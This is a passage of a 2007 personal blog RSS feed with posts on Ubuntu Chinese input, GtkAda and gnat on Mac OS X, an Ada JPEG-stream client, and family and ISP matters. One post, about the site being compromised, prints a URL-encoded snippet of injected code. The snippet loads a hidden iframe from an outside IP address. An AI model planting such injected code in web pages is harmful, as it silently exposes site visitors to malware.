		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[scim]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/18/howto-chinese-input-for-ubuntu/</guid>
		<description><![CDATA[This HOWTO guides you to install scim for Chinese Input in Ubuntu with Gnome. Install the following packages: scim scim-chinese scim-config-socket scim-frontend-socket scim-gtk2-immodule scim-server-socket scim-tables-zh (option) xfonts-intl-chinese xfonts-intl-chinese-big ttf-arphic-gbsn00lp ttf-arphic-gkai00mp ttf-arphic-bkai00mp ttf-arphic-bsmi00lp Click on menu: System -&#62; Preferences -&#62;Sessions Click Startup Program Tab then [New] button. Name: Input Methods Command: scim -d Click [OK] button [...]]]></description>
			<content:encoded><![CDATA[<p>This HOWTO guides you to install scim for Chinese Input in Ubuntu with Gnome.</p>
<ol>
<li>Install the following packages:
<ul>
<li>scim</li>
<li>scim-chinese</li>
<li>scim-config-socket</li>
<li>scim-frontend-socket</li>
<li>scim-gtk2-immodule</li>
<li>scim-server-socket</li>
<li>scim-tables-zh (option)</li>
<li>xfonts-intl-chinese</li>
<li>xfonts-intl-chinese-big</li>
<li>ttf-arphic-gbsn00lp</li>
<li>ttf-arphic-gkai00mp</li>
<li>ttf-arphic-bkai00mp</li>
<li>ttf-arphic-bsmi00lp</li>
</ul>
</li>
<li>Click on menu: System -&gt; Preferences -&gt;Sessions
<ul>
<li>Click Startup Program Tab then [New] button.</li>
<li>Name: Input Methods</li>
<li>Command: scim -d</li>
<li>Click [OK] button</li>
</ul>
</li>
<li>Logout and login again.</li>
<li>You will see a new icon on the top right menu bar.</li>
<li>Right click and select ¨SCIM¨ setup and activate languag/input support you need.</li>
<li>Left click to choose desired input method.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/16/howto-chinese-input-for-ubuntu/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Why I like Ubuntu?</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/12/why-i-like-ubuntu/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/12/why-i-like-ubuntu/#comments</comments>
		<pubDate>Fri, 12 Oct 2007 09:27:38 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[chinese input]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Fedora]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[input method]]></category>
		<category><![CDATA[japanese]]></category>
		<category><![CDATA[scim]]></category>
		<category><![CDATA[SuSE]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/12/why-i-like-ubuntu/</guid>
		<description><![CDATA[Since I switched to Ubuntu Feisty Fawn 7.04 on Spetember 26, I have been working on Ubuntu with a multitude of tasks including test compiling some Ada source codes of previous project, working on my latest Ada project, blogging, surfing, downloading torrents and many more. I personally find Ubuntu is really an OS for the [...]]]></description>
			<content:encoded><![CDATA[<p>Since I switched to Ubuntu Feisty Fawn 7.04 on <a href="http://adrianhoe.com/adrianhoe/2007/09/26/ubuntu-feisty-fawn/">Spetember 26</a>, I have been working on Ubuntu with a multitude of tasks including test compiling some Ada source codes of previous project, working on my latest Ada project, blogging, surfing, downloading torrents and many more. I personally find Ubuntu is really an OS for the human.</p>
<p>Unlike many other Linux favor such as Caldera (now SCO), SuSE, RedHat; it has come out of competition neatly. Based on Debian, it has a better packaging of software packages which makes installation and upgrading software components very easily and almost without hassle. The only hassle I see is when downloading some large files during a slow connection or heavy Internet traffic.</p>
<p>The auto-upgrade is the feature I like most in Ubuntu. It works seamlessly and the new software components are well tested before the release. I had had my system corrupted when I was using SuSE and not so long ago on FC5 (Fedora Core). Causing a lot of valuable data and time. What can I say? So far, so good!</p>
<p>The software update is also very frequent. This always keep my system up to date with the latest release of Ubuntu&#8217;s software components. Well done!</p>
<p>The other neat feature is the easy activation of SCIM, a Smart Common Input Method for all Unix-like OS for inputing complex character sets like Chinese and Japanese. This gives me another platform of choice when updating my blog and other websites (blogs) with Chinese and Japanese characters. I will write about how to activating SCIM later.</p>
<p>I hope Ubuntu will be the Linux for my secondary working platform.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/12/why-i-like-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Building GtkAda project with xcode</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/#comments</comments>
		<pubDate>Sun, 07 Oct 2007 03:35:43 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[gnat]]></category>
		<category><![CDATA[GtkAda]]></category>
		<category><![CDATA[JPEG]]></category>
		<category><![CDATA[X11]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/04/howto-building-gtkada-project-with-xcode/</guid>
		<description><![CDATA[My current project (here) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding [...]]]></description>
			<content:encoded><![CDATA[<p>My current project (<a href="http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/">here</a>) requires to develop a GUI application for displaying some JPEG images. I intended to develop a native Mac OS X GUI application using Carbon or Cocoa. Since there is no Cocoa binding in Ada, I narrowed down my option to Carbon. I hit on the wall of frustration where Carbon binding on <a href="http://macada.org">MacAda.org</a> is very old and supports only gnat-3.3 and PPC (I hope I am not wrong on this).</p>
<p>I have to turn to Gtk+ which will require GtkAda and X11 on Mac OS X. I compiled my test code written for GtkAda very well on console. But when I imported the codes into xcode project, it did not compile. I got the following errors:</p>
<pre><code>error: "gtk.ads" must be recompiled ("a-except.ads" has been modified)
error: "gdk.ads" must be recompiled ("a-except.ads" has been modified)
error: "glib.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-object.adb" must be recompiled ("a-except.ads" has been modified)
error: "glib-type_conversion_hooks.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada.ads" must be recompiled ("system.ads" has been modified)
error: "gtkada-bindings.adb" must be recompiled ("a-except.ads" has been modified)
error: "gtkada-c.adb" must be recompiled ("system.ads" has been modified)
...
</code></pre>
<p>I sought help from <a href="http://hermes.gwu.edu/archives/gnat-osx.html">GNAT-OSX mailing list</a> (<a href="http://hermes.gwu.edu/cgi-bin/wa?A1=ind0709&amp;L=gnat-osx">September 2007</a> archive), but to no avail. I spent many days investigating the cause but to find out that gtkada source codes would be compiled and produced .ali and .o files in the build directory when I used gnatmake to build my GtkAda application.</p>
<pre><code>$ gnatmake testproject.adb `gtkada-config`
</code></pre>
<p>To build a GtkAda project in xcode, follow the instructions below:</p>
<ol style="text-indent: 0px">
<li>In the project browser, under the Group &amp; Files column, locate Targets and the your project name. Right click your project name and select Add Link Binary With Libraries. Select GtkAda libraries from <em>/opt/local/lib/gtkada</em> and necessary libraries from /opt/local/lib.</li>
<li>Select your project name and click on the Info button. In Build tab, select Search Paths under Collection. Include <em>/opt/local/include/gtkada</em> in Header Search Paths. Also include <em>/opt/local/lib</em> and <em>/opt/local/lib/gtkada</em> in Library Search Paths.</li>
<li><span style="text-decoration: line-through;">Select Source in your project. Select Add to Project &#8230; in Project menu. Include all the GtkAda source files in </span><em><span style="text-decoration: line-through;">/opt/local/include/gtkada</span></em><span style="text-decoration: line-through;">.</span></li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/07/howto-building-gtkada-project-with-xcode/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>High Tech Baby Sitting</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/06/high-tech-baby-sitting/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/06/high-tech-baby-sitting/#comments</comments>
		<pubDate>Sat, 06 Oct 2007 03:40:54 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[At Home]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Dominik]]></category>
		<category><![CDATA[Family]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/06/high-tech-baby-sitting/</guid>
		<description><![CDATA[LA needs to do some shopping and it&#8217;s morning nap time for Nik. She has to leave Nik at home and I will be baby sitting Nik while she and the other two dinos go shopping! And I have some work to do. What now? An idea sparked in my head. I have installed a [...]]]></description>
			<content:encoded><![CDATA[<p>LA needs to do some shopping and it&#8217;s morning nap time for Nik. She has to leave Nik at home and I will be baby sitting Nik while she and the other two dinos go shopping!</p>
<p>And I have some work to do. What now? An idea sparked in my head.</p>
<p>I have installed a web camera on the Windows box in the living room for her and D to use so that they can communicate with me through video <a href="http://skype.com">Skype</a>. The main reason was to communicate with me while I was away for a month to <a href="http://adrianhoe.com/adrianhoe/category/travel/japan/okinawa/">Okinawa</a> for my karate training.</p>
<p>Hmm&#8230;.</p>
<p>So, I Skype LA at the living room and I can have the video in my working room. Nik&#8217;s napping soundly in his wonderland while I am writing this post. What a high tech daddy! <img src='http://adrianhoe.com/adrianhoe/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><center><br />
<img src="http://adrianhoe.com/adrianhoe/images/blog/screenshot-hitechbabysitting.png" name="Skype high tech baby sitting" alt="Skype high tech baby sitting" /><br />
</center></p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/06/high-tech-baby-sitting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Installing gnat-4.3 on Mac OS X</title>
		<link>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/#comments</comments>
		<pubDate>Thu, 04 Oct 2007 15:15:24 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[gnat]]></category>
		<category><![CDATA[MacBook]]></category>
		<category><![CDATA[Xcode]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/</guid>
		<description><![CDATA[Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X. My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3. Go [...]]]></description>
			<content:encoded><![CDATA[<p>Perhaps someone has written this before but it seems no where to be found. So I just write a simple HOWTO about installing gnat-4.3 on Mac OS X.</p>
<p>My installation is on MacBook 2.16GHz Intel Core 2 Duo running Mac OS 10.4.10 with Xcode 2.4.1. Pre-requisition is to have Xcode installed before installing gnat-4.3.</p>
<ol style="text-indent: 0px">
<li>Go to <a href="http://macada.org">MacAda.org</a> to download gnat-4.3 and other necessary tools. Launch the installation in the disk image.</li>
<li>Make the following softlinks:
<pre><code>
$ ln -s /usr/local/ada-4.3/bin/gcc /usr/bin/gcc-4.3
$ ln -s /usr/local/ada-4.3/bin/g++ /usr/bin/g++-4.3
</code></pre>
</li>
<li> Launch gcc_select:
<pre><code>
$ sudo gcc_select 4.3
</code></pre>
</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/10/04/howto-installing-gnat-43-on-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Ubuntu Feisty Fawn</title>
		<link>http://adrianhoe.com/adrianhoe/2007/09/26/ubuntu-feisty-fawn/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/09/26/ubuntu-feisty-fawn/#comments</comments>
		<pubDate>Wed, 26 Sep 2007 15:37:33 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[SCM]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/09/26/ubuntu-feisty-fawn/</guid>
		<description><![CDATA[A few months ago, when fornax&#8216;s hard disk was dead, I upgraded it from 40GB to 160GB and installed Debian Etch. Debian Etch has once again boosted my confidence about Linux. The graphical desktop was working up to my expectation. It could support up to 1280 x 1024 resolution! Upgrading Debian is easier compared to [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border: 0px none " src="http://adrianhoe.com/adrianhoe/images/blog/ubuntulogo.png" alt="" align="left" />A few months ago, when <em>fornax</em>&#8216;s hard disk was dead, I upgraded it from 40GB to 160GB and installed <a href="http://debian.org">Debian</a> Etch. Debian Etch has once again boosted my confidence about Linux. The graphical desktop was working up to my expectation. It could support up to 1280 x 1024 resolution! Upgrading Debian is easier compared to other Linux distros like <a href="http://suse.com">SuSE</a>, <a href="http://redhat.com">RedHat</a> and etc. Actually, I quite like Debian to power <em>fornax</em> as an alternative development platform and also for some general purpose computing and testing purposes. I did not blog about my Debian installation a few months ago. I should blog about Ubuntu installation to record my experience.</p>
<p>Today, after some months, reinstalled <em>fornax</em> again with <a href="http://ubuntu.com">Ubuntu</a> 7.04, code named  <em>Feisty Fawn</em>. The UI is even more superb than Debian. Everything has been nicely done and packaged. To my surprised, I can run KDE applications from Gnome&#8217;s menu. This could not be done in Debian and some other Linux. How nice!</p>
<p>As the matter of fact, I did not like Gnome very much because KDE applications would not appear in Gome&#8217;s menu. Ubuntu has changed my perceptual experience about Gnome and once again Linux!</p>
<p>I find Ubuntu has more human touch than any other Linux distros. I also find that Ubuntu is very closely competitive with Mac OS X!</p>
<p>Really, I have download Ubuntu&#8217;s alternate install CD in June but I had never had a good reason to install Ubuntu over Debian. This morning, I had to install and configure many software, for instance, Subversion, apache and many other software development tools; it gave me a good reason to install Ubuntu. Not because Debian did not have all these software packages (Ubuntu is based on Debian), it was because I had to do most of the tasks which were almost like installing a fresh system.</p>
<p>Ubuntu&#8217;s installation is easier than Debian and faster. I had it up and running in less than 20 minutes!</p>
<p>Now, <em>fornax</em> has once again become my Linux development platform as well as SCM (Source Code Management) server. Oh! I run <em><a href="http://ktorrent.org/">ktorrent</a></em> for downloading movies as well. It really flies and sucking all the bandwidth. I have to stopped <em>ktorrent</em> whenever I want to work on Internet.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/09/26/ubuntu-feisty-fawn/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adrenaline Hack</title>
		<link>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/#comments</comments>
		<pubDate>Tue, 25 Sep 2007 06:39:21 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Home]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/</guid>
		<description><![CDATA[Wow! I&#8217;ve done it! Yes! Yes! Yes! After a successful hack to receive a server-push JPEG stream from a video server (more story here), the next challenge for me was to display the JPEG in a GUI window. I have been trying to get Carbon binding to work with gnat 4.3 on xcode but I [...]]]></description>
			<content:encoded><![CDATA[<p>Wow! I&#8217;ve done it! Yes! Yes! Yes!</p>
<p>After a successful hack to receive a server-push JPEG stream from a video server (more story <a href="http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/">here</a>), the next challenge for me was to display the JPEG in a GUI window.</p>
<p>I have been trying to get Carbon binding to work with gnat 4.3 on <a href="http://www.apple.com/macosx/features/xcode/">xcode</a> but I am forced to abandon it for a while. I switched my target to <a href="https://libre.adacore.com/GtkAda/">GtkAda</a> which will require X11 on Mac OS X. One plus side is that my application will be platform independent if I use Gtk/GtkAda. That means my application can be compiled and run on Linux, Solaris and Windows with the platform-independent GUI. More business may be and hopefully.</p>
<p>I was working to get GtkAda to work on my Mac since yesterday but I had corrupted some of the files I installed with <a href="http://finkproject.org/">Fink</a>. Fortunately, I have a backup (actually I copied) on my MacBook but I guess I won&#8217;t need it anymore since the Gtk+2 and GtkAda are working on my Mac Mini. I will delete the copy on my MacBook later and install it with the working Gtk+/GtkAda.</p>
<p>I spent the entire morning and noon to write a single window, stripped down application to display the JPEG image I downloaded using the application I worked on <a href="http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/">earlier</a>. I could not get the result. After many hours of hacking, I finally got it to work!</p>
<p>It is so rewarding to see it happens and I have got a good dose of adrenaline today. The feeling is difficult to describe. So it is difficult for other people to feel the excitement and the rewarding state of mind I am into.</p>
<p>The next challenge is to write an experimental application to continuously receive multiple streams of JPEG images and display them in multiple frames in a window, the last and toughest task with parallelism involving socket and GUI. After this, comes the serious software development by integrating all these experimental applications into a nice GUI application.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/09/25/adrenaline-hack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Server-Push JPEG Stream</title>
		<link>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/#comments</comments>
		<pubDate>Thu, 13 Sep 2007 15:46:24 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/</guid>
		<description><![CDATA[I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server). Up [...]]]></description>
			<content:encoded><![CDATA[<p>I am working on a video server project since last week. This project is to develop a client software running on Mac OS X to control a video server and to retrieve streams of JPEG images from it. And of course, I am going to develop with Ada together with AWS (Ada Web Server).</p>
<p>Up to this point, I am able to connect to the video server with AWS and retrieve a stream of JPEG images from the video server. I have been able to manually extract JPEG images from the stream identified by SOI (0xFFD8) and EOI (0xFFD9). But some of the images extracted from the stream are not recognized as JPEG file while some images appeared to be corrupted. I am totally puzzled by this behavior.</p>
<p>Could it be the size of the stream buffer (512 bytes) causing the corruption? Could it be the output of the received stream to a disk file delay the receiving process?</p>
<p>Here&#8217;s a snip of my Ada code:</p>
<pre><code>
     ...
     Data         : Ada.Streams.Stream_Element_Array (1 .. 512);
     ...
     loop
        AWS.CLient.Read_Some (Connection, Data, Offset);
        exit when Offset &lt; Data'First or Count &gt; 512_000;
        Ada.Streams.Stream_IO.Write (File_Handler, Data);
        Count := Count + Integer (Offset);
     end loop;
     ...
</code></pre>
<p>It is quite fun spending entire day hacking the server-push stream and the JPEG images. It has been a long time since my last hacking. Welcome back to the reality!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/09/13/server-push-jpeg-stream/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Peculiar behavior of Sed</title>
		<link>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/#comments</comments>
		<pubDate>Fri, 06 Apr 2007 19:02:22 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Ada]]></category>
		<category><![CDATA[At Work]]></category>
		<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Days in My Life]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Solaris]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/</guid>
		<description><![CDATA[What is Sed? Sed is the ultimate stream editor. If that sounds strange, picture a stream flowing through a pipe. Okay, you can&#8217;t see a stream if it&#8217;s inside a pipe. That&#8217;s what I get for attempting a flowing analogy. You want literature, read James Joyce. Anyhow, sed is a marvelous utility. Unfortunately, most people [...]]]></description>
			<content:encoded><![CDATA[<p>What is Sed?</p>
<blockquote><p><em>Sed</em> is the ultimate <strong>s</strong>tream <strong>ed</strong>itor.  If that sounds strange, picture a stream flowing through a pipe. Okay, you can&#8217;t see a stream if it&#8217;s inside a pipe. That&#8217;s what I get for attempting a flowing analogy. You want literature, read James Joyce.</p>
<p>Anyhow,  <em>sed</em> is a marvelous utility. Unfortunately, most people never learn its real power. The language is very simple, but the documentation is terrible. The Solaris on-line manual pages for <em>sed</em> are five pages long, and two of those pages describe the 34 different errors you can get. A program that spends as much space documenting the errors than it does documenting the language has a serious learning curve.</p></blockquote>
<p>You can read more about Sed <a href="http://www.grymoire.com/Unix/Sed.html#uh-0">here</a>.</p>
<p>My project uses a thick binding of PostgreSQL/MySQL called APQ. APQ is a project by Warren and I helped to host it at my server. See my post <a href="http://adrianhoe.com/adrianhoe/2006/11/11/apq-and-adavox/">here</a>. The <em>configure</em> and <em>make</em> process are not really stable which I think is due to various version of MySQL and the Linux tools such as <em>sed</em>.</p>
<p>To build APQ, first, two MySQL include files, <em>errmsg.h</em> and <em>mysqld_error.h</em> need to be parsed. These files contain MySQL error codes and they need to be parsed and translated into Ada syntax. This translated Ada code will be inserted into <em>apq_mysql.ads</em>.</p>
<p>However, this parsing and translation process are not working correctly as they supposed to be. When I look into this problem, I found a peculiar abnormality. The parser uses <em>sed</em>. When I built APQ on Mac OS X, FC5 and Solaris (Intel), the result in <em>apq_mysql.ads</em> is not consistent on these different OS.</p>
<p>After I upgraded to Mac OS X 10.4.9, the parser refused to work with some error messages which I think caused by <em>sed</em>. I was mingling with the <em>configure</em> script until this hour. Suddenly, something struck my mind. Why do I need to mingle with <em>configure</em>? The problem is the parsing and it deserves the highest priority. The build configuration does not perform a thorough check of the environment but it still works fine at this point. So, I moved my priority to write a parser in Ada to solve the parsing problem. This light shed on me at this whee hour in the morning and I was really too tire to continue working on the parser.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/04/07/peculiar-behavior-of-sed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Website security compromised</title>
		<link>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/</link>
		<comments>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/#comments</comments>
		<pubDate>Fri, 30 Mar 2007 09:25:46 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Critiques]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/</guid>
		<description><![CDATA[I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some malware or badware. I was shocked to [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed a drastic reduce of visitors to my website in February and March. I was wondering what was happening. On March 8, I suddenly received a notification email from Google Search Quality team informing that my website was a hazard to visitors and it might contain some <i>malware</i> or <i>badware</i>. I was shocked to know about it and I Googled for my site and found that my sites had been tagged &#8220;This site may harm your computer&#8221; and visitors could not access to my website following the link from Google search page.</p>
<p>With the help from my hosting provider, I found a piece of malicious <a href="http://en.wikipedia.org/wiki/Obfuscated_code">obfuscated code</a> in JavaScript had been intentionally embedded into one of the .PhP file. Part of the obfuscated code read like this:</p>
<pre>
<code>
%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69%66%72%61%6D%65%3E
</code>
</pre>
<p>I removed the malicious code from my .PhP script file and informed Google team. It really took them quite some time to remove my website from their list. A moment ago, I found out that my site has been de-listed from Google&#8217;s list of malicious websites.  </p>
<p>Ironically, today I received an announcement from my web hosting provider that they implement HackerSafe Certification on all websites hosted with them. Here&#8217;s a snapshot of their newsletter:</p>
<div style="text-align: center"><img src="http://adrianhoe.com/adrianhoe/images/blog/ipower_hackersafe.png" /></div>
<p>I am all tied up to carefully inspect and decipher the code. Any taker?</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2007/03/30/website-security-compromised/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Damned Streamyx</title>
		<link>http://adrianhoe.com/adrianhoe/2006/12/31/damned-streamyx/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/12/31/damned-streamyx/#comments</comments>
		<pubDate>Sun, 31 Dec 2006 15:59:52 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Critiques]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/12/31/damned-streamyx/</guid>
		<description><![CDATA[Streamyx, the broadband service was damned slow to a halt due to the east bound fiber optic cables were affected by the recent earthquake off Taiwan. The Internet traffic was rerouted to west bound via Netherlands and UK. It was also partly due to the festive seasons when people are contacting families and friends via [...]]]></description>
			<content:encoded><![CDATA[<p>Streamyx, the broadband service was damned slow to a halt due to the east bound fiber optic cables were affected by the recent earthquake off Taiwan. The Internet traffic was rerouted to west bound via Netherlands and UK. It was also partly due to the festive seasons when people are contacting families and friends via the Internet.</p>
<p>I was not happy with such a slow download and upload time. In this Information Age where Internet connection is prevalent, the service provider could have setup a redundant cable systems for the time like this. Apparently, they do not have a redundant system. Even their tech support does not know what is redundant system when I called them about connection problems some months ago. Sadly, these tech support employed by the service provider are local university graduates in ICT (Information and Computer Technology). How can they not know what the hell is redundant system? We can see how bad the local university standards are.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrianhoe.com/adrianhoe/2006/12/31/damned-streamyx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What a stupid Digi service</title>
		<link>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/</link>
		<comments>http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/#comments</comments>
		<pubDate>Thu, 28 Dec 2006 10:35:25 +0000</pubDate>
		<dc:creator>Adrian Hoe</dc:creator>
				<category><![CDATA[Call Me a Geek]]></category>
		<category><![CDATA[Critiques]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://adrianhoe.com/adrianhoe/2006/12/28/what-a-stupid-digi-service/</guid>
		<description><![CDATA[I registered my mom&#8217;s Digi prepaid number at Digi&#8217;s Melaka Raya office using my MyKad. The man slotted my MyKad to a reader and after a while he confirmed that my line had been registered. Today, when I was trying to make a call from my mom&#8217;s Digi number, it said that no outgoing call [...]]]></description>
